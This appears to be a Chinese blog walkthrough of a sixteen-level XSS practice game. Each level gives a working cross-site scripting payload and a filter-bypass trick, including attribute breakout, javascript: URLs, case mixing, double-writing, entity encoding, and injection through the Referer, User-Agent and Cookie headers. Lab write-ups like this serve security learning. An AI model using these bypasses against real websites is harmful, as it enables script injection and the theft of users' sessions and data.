第一关

直接在URL输入

?name=<script>alert('xss')</script>

第二关

找源码,输入test,value值变为test,我们可以在输入框尝试xss攻击

闭合前面的input标签,在插入代码

payload

"><script>alert('xss')</script>

第三关

依旧输入test找注入点

输入"><script>alert('xss')</script>

htmlspecialchars()转义成HTML实体

但是htmlspecialchars在默认情况下不会转义单引号,需要设置quotestyle才会进行转义

我们可以从单引号测试 payload

'onclick='window.alert()

第四关

尝试输入<script>alert('xss')</script>

明显的过滤掉了 < >

这里构造payload绕过 < >

"onclick="window.alert('xss')

 第五关

尝试输入<script>alert('xss')</script>

将前面的script变成scr_ipt

用其他语句绕过

输入"onlick="window.alert()

依旧替换 on变成o_n

我们采用JavaScript伪协议

"><a href="javascript:alert('xss')">1</a>

点击 1 成功绕过

第六关

直接测试了一下,过滤了很多,查看源码

我们可以采用大小写混合拼写绕过

"><img Src=x Onerror=alert(1)>

第七关

测试了一下,script跟on等直接没了

推测被替换成空,查看源码

果不其然,替换为空,一般采用双写绕过

"><scrscriptipt>alert('xss')</scrscriptipt>

 第八关

输入tes

查看源码,过滤了很多,双引号也被过滤掉了

这里我们只要输入JavaScript:alert(‘xss’)即可

但是script被替换成scr_ipt

我们可以采用编码的形式绕过

payload

javascript:alert() #HTML实体编码(HEX)
javascript:alert() #HTML实体编码(DEC)

这是实体编码 entity code

「&#」开头的后接十进制数字,「&#x」开头的后接十六进制数字。

第九关

输入test测试一下,test出现在value值里面

查看源码,比之前多了一串,需要添加http://,否则无效

那么就添加http://

/*这是是注释*/

构造payload

javascri&#x70;t:alert()/*http://www.test.com*/

 第十关

分析源码,keyword跟t_sort两个可以进行get传值,同时t_sort过滤掉了<>,并且t_sort隐藏了

构造payload

?t_sort="onclick="alert()"type="text"

?t_sort=" onclick="alert()" type="text"

第十一关

可以用HTTP头的referer进行注入,这里我们需要burpsuite抓包

payload

t_sort="type="text" onclick="alert(1)

 第十二关

这里是HTTP头中的Uuser-agent进行注入

构造payload

"type="text" onclick="alert(1)

在User-Agent后面跟随payload即可

第十三关

cookie注入

user=" type="text" onclick="alert(1)"

第十四关

PASS

第十五关

ng-include 指令用于包含外部的 HTML 文件

ng-include 属性的值可以是一个表达式,返回一个文件名。

payload

http://localhost/xss/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'

第十六关

转义成HTML实体,黑名单容易忽略过滤的字符

payload

?keyword=<img%0asrc=1%0aonerror=alert()>
%0a %0b %0c %0d (回车换行) 空格绕过



 

XSS小游戏的更多相关文章

  1. xss小游戏通关

    xss url:http://test.ctf8.com/level1.php?name=test 小游戏payload: <script>alert("'test'" ...

  2. XSS----payload,绕过,xss小游戏记录

    一.XSS 1.原理:攻击者把恶意的脚本代码注入到网页中,等待其他用户浏览 这些网页(或触发其他条件),从而执行其中的恶意代码. 1.xss实例代码: test.html <!DOCTYPE h ...

  3. XSS小游戏通关Writeup

    源码下载:https://files.cnblogs.com/files/nul1/xss%E7%BB%83%E4%B9%A0%E5%B0%8F%E6%B8%B8%E6%88%8F.zip 我也没啥可 ...

  4. xss小游戏源码分析

    配置 下载地址:https://files.cnblogs.com/files/Lmg66/xssgame-master.zip 使用:下载解压,放到www目录下(phpstudy),http服务下都 ...

  5. xss games20关小游戏附源代码

    1. get方式的的值直接输出来了. ?name=<script>alert(1)</script> 2. 同样没有过滤,不过需要闭合前边的双引号和>. "&g ...

  6. Monyer.cn黑客小游戏

    花了一天的时间,Monyer给大家带来了一个有趣的东东——拥有15个关卡的黑客小游戏. 入口http://monyer.com/game/game1 因为一直以来都是大家跟我一起学习网络技术嘛,所以这 ...

  7. jQuery实践-网页版2048小游戏

    ▓▓▓▓▓▓ 大致介绍 看了一个实现网页版2048小游戏的视频,觉得能做出自己以前喜欢玩的小游戏很有意思便自己动手试了试,真正的验证了这句话-不要以为你以为的就是你以为的,看视频时觉得看懂了,会写了, ...

  8. 拼图小游戏之计算后样式与CSS动画的冲突

    先说结论: 前几天写了几个非常简单的移动端小游戏,其中一个拼图游戏让我郁闷了一段时间.因为要获取每张图片的位置,用`<style>`标签写的样式,直接获取计算后样式再用来交换位置,结果就悲 ...

  9. 推荐10款超级有趣的HTML5小游戏

    HTML5的发展速度比任何人的都想像都要更快.更加强大有效的和专业的解决方案已经被开发......甚至在游戏世界中!这里跟大家分享有10款超级趣味的HTML5游戏,希望大家能够喜欢! Kern Typ ...

随机推荐

  1. adb的端口号5037被占用的解决方法

    1.在cmd中执行adb nodaemon server,查看adb的端口号是多少,一般情况下是5037(why?应该软件使用的端口号是固定的) 2.再执行netstat -ano | findstr ...

  2. luoguP4151 [WC2011]最大XOR和路径

    题意 这题有点神啊. 首先考虑注意这句话: 路径可以重复经过某些点或边,当一条边在路径中出现了多次时,其权值在计算 XOR 和时也要被计算相应多的次数 也就是说如果出现下面的情况: 我们可以通过异或上 ...

  3. Go micro 入门

    路由跳转 官方文档 本质上是选择不同的方式将HTTP信息合理的转发至后端处理,而不同的方式相当于不同请求的接收器,接收后再将其转发至不同的后端服务,完成整个请求的调用. micro 将请求选择不同的方 ...

  4. 教你用好 Javascript 数组

    原文链接:https://juejin.im/post/5d9769b26fb9a04df26c1b89 作为 Javascript 的标准对象之一,数组是非常底层而且实用的数据结构.虽然结构很简单, ...

  5. Git仓库迁移命令

    1. 从原git上clone bare下到本地 git clone --bare https://***.git 2. push mirror到目标仓库 git push --mirror https ...

  6. HTML连载32-背景颜色、背景图片、背景填充

    一.背景 1.如何设置标签的背景颜色 (1)在CSS中有一个background-color:属性值:,就是专门用来设置标签的背景颜色. (2)取值:具体单词.RGB.RGBA.十六进制 例子: &l ...

  7. 海边拾贝-B-优秀博客/网站

    记下若干优秀博客,方便后期检索.会不定期更新: 优秀的程序员,从使用Github开始:https://help.github.com/en/github/managing-your-work-on-g ...

  8. 关于lambda总结-持续更新

    阅读:https://blog.csdn.net/u013541140/article/details/102710138 1 public static void main(String[] arg ...

  9. Vue.js 源码分析(十七) 指令篇 v-if、v-else-if和v-else 指令详解

    v-if 指令用于条件性地渲染一块内容.这块内容只会在指令的表达式返回true值的时候被渲染. v-else-if,顾名思义,充当 v-if 的“else-if 块”,可以连续使用: 也可以使用 v- ...

  10. CodeForces - 560D Equivalent Strings

    Today on a lecture about strings Gerald learned a new definition of string equivalency. Two strings ...